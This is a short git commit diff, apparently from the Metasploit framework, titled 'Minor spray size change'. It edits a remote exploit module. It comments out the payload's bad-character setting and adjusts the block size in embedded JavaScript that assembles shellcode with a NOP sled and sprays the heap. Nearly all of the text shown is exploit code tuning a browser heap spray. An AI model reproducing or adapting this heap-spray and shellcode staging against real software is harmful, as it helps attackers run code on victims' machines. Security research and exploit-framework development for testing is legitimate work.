Minor spray size change

unstable
sinn3r 2012-03-08 16:19:28 -06:00
parent 12395c719f
commit fee2e1eff9
1 changed files with 2 additions and 2 deletions

View File

@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'Payload' =>
{
'BadChars' => "\x00",
#'BadChars' => "\x00",
'StackAdjustment' => -3500
},
'DefaultOptions' =>
@ -130,7 +130,7 @@ class Metasploit3 < Msf::Exploit::Remote
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
var block = shellcode.substring(0, (0x7ffc0-6)/2);
heap_obj.gc();